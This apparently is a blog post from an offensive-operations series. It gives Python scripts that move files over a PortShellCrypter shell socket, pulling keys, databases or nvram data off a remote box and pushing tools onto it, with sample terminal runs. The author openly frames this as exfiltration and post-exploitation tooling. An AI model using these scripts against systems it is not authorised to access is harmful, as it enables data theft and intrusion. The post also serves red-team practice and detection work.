PSC Automation: Transferring files with PortShellCrypter.

This is part of a series of posts on automation/scripting and remote operations using the excellent PortShellCrypter (PSC). I previously wrote about why you should be using PSC.

I plan to publish a full "operators guide" at some point, showing how I leverage PSC in offensive cybering, and this is going to be part of the reference material for that.

The git repo with the full scripts will get released in some time from now, when I get around to uploading some missing parts - but this blog post contains everything you really need to implement this yourself.

Ok, so this has a couple of prerequisites of sorts that we need to consider.

Firstly: This uses the scripting socket feature of PSC. We will be using Python to implement file transfer over a shell over that socket. We covered some automation using this feature in this previous blog post.

Secondly: This largely is intended as a way to bootstrap a better file transfer mechanism, its not robust for large files.

I might consider adding a "chunked" method in a future post, but realistically, consider this a way to load more tools onto the box or remove relatively small files like keys, smaller databases, source code, etc - not a way to exfiltrate 100gb of mail spools.

If you need to exfiltrate large files, use something like rclone to blast an encrypted blob onto some file transfer service. Or reconsider your life choices.

For simplicity, "upload" and "download" are actually two different tools in the beginning. It is not hard to combine them into one script, but that is a problem for later.

Anyway, lets start out with what we need, information wise, to give our tool.

Our scripts will need to know:

  • The location of the pscr binary on the remote system.
  • The location of the PSC scripting socket on our local system.
  • The remote file we are reading or writing to/from.
  • The local file we are reading or writing to/from.

Given there are a bunch of arguments here, lets go with argparse to handle them instead of sys.argv. We will use the remote pscr binary to handle encoding or decoding of the uuencode-style base64 blocks.

parser = argparse.ArgumentParser()
parser.add_argument("-s", "--socket", help="scripting.socket", required=True)
parser.add_argument("-p", "--pscr", help="remote pscr binary path", required=True)
parser.add_argument("-r", "--remote", help="remote file to download", required=True)
parser.add_argument("-l", "--local", help="local path to save file", required=True)
args = parser.parse_args()

To download a file from the remote host, what we will do is send a command to encode the file, capture the output (a huge block of base64) with a badly knocked together regular expression, decode it, and write it to disc locally.

The whole "get_file" function is shown below.

def get_file(socketfile, remote_pscr, remote_file, local_file):
    print(f"using {socketfile}")
    print(f"using {remote_pscr} as remote psc for file encoding...")
    print(f"downloading {remote_file} to {local_file}")
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.connect(socketfile)
    t = telnetlib.Telnet()
    t.sock = s
    command = f"{remote_pscr} -E {remote_file}"
    t.write(command.encode('ascii'))
    t.write(b"\n")
    file_data_raw = t.read_until(b"====")
    regex = b"(begin-base64)(.*\n)([\w\W]*?)(====)" # ugly hack.
    search = re.search(regex, file_data_raw)
    data_b64 = search[3].decode('ascii')
    file_data = base64.b64decode(data_b64)
    f = open(local_file, "wb")
    f.write(file_data)
    f.close()
    print("done")

In action, it is rather simple.

darren@Darrens-MacBook-Pro src % python3 psc_download.py -s scripting.socket -p /tmp/pscr -r /nvram/nvram.data -l /tmp/nvram.data
using scripting.socket
using /tmp/pscr as remote psc for file encoding...
downloading /nvram/nvram.data to /tmp/nvram.data
done
darren@Darrens-MacBook-Pro src %

To upload a file to the remote host is a bit more complex - I originally planned to just pipe it to the standard input of pscr in decoding mode, but on some smaller, more limited in memory devices, this seemed to randomly block and hang the session forever.

So instead - we use cat to write the base64 encoded data to a temporary file, decode the file with pscr, delete the temporary file, and move the decoded output to our target location on disc. It is a bit messy, but now it works on some comically underpowered embedded devices I've been testing on.

For reliability reasons, we send the uploaded block of base64 as lines, with a small delay - this makes it rather slow, but also avoids clobbering underpowered devices. This was a massive problem in testing on a SPA112 device.

Because we are doing chunks, I thought it would be a nice quality of life addition to put in a progress bar.

The "put_file" function is shown below.

def put_file(socketfile, remote_pscr, remote_file, local_file):
    print(f"using {socketfile}")
    print(f"using {remote_pscr} as remote psc for file decoding...")
    print(f"uploading {local_file} to {remote_file}")
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.connect(socketfile)
    t = telnetlib.Telnet()
    t.sock = s
    command = f"cat <<'_EOF'>psctempfile"
    t.write(command.encode('ascii'))
    t.write(b"\n")
    print("entering upload section")
    data = open(local_file, "rb").read()
    encoded = base64.b64encode(data)
    file_contents = f"begin-base64 600 PSCUPLOAD\n{encoded.decode('ascii')}\n====\n_EOF\n"
    n = 60
    blobs = [file_contents[i:i+n] for i in range(0, len(file_contents), n)]
    num_blobs = len(blobs)
    idx = 1
    pbar = ProgressBar(maxval=num_blobs+1).start()
    for blob in blobs:
        t.write(blob.encode('ascii'))
        t.write(b'\n')
        time.sleep(0.6)
        pbar.update(idx+1)
        idx += 1
    pbar.finish()
    t.write(b'\n')
    print("blobs sent")
    print("sending decoder...")
    command = f"cat psctempfile | {remote_pscr} -D;rm -rf psctempfile"
    t.write(command.encode('ascii'))
    t.write(b'\n')
    print("sending move_cmd")
    move_cmd = f"mv _b64.PSCUPLOAD {remote_file}"
    t.write(move_cmd.encode('ascii'))
    t.write(b'\n')
    print("done uploading?")

The values of "n = 60" for chunk size, and "0.6 seconds" for delay, are entirely arbitrary. I pulled those out of thin air and they work reliably enough.

One thing I will note, is that it might make sense in a future refactoring to break the "socket setup" out to another function entirely. And, you know, add some error handling.

It should also be noted that the current working directory on the remote side has to be writable for the uploader to function reliably.

(venv) darren@Darrens-MacBook-Pro src % python3 psc_up.py -s scripting.socket -l /etc/passwd -r /tmp/mypasswdfile2.bin -p /tmp/pscr
using scripting.socket
using /tmp/pscr as remote psc for file encoding...
uploading /etc/passwd to /tmp/mypasswdfile2.bin
entering upload section
100% |###########################################################################################################################################|
blobs sent
sending decoder...
sending move_cmd
done uploading?
(venv) darren@Darrens-MacBook-Pro src %

It isn't a huge stretch here to make some kind of godawful "FTP" client using these functions. I have tried it, it sucks, and I'm leaving it largely as an exercise for the reader!

In future posts I'll be covering more psc automation, along with how best to conduct operations using it.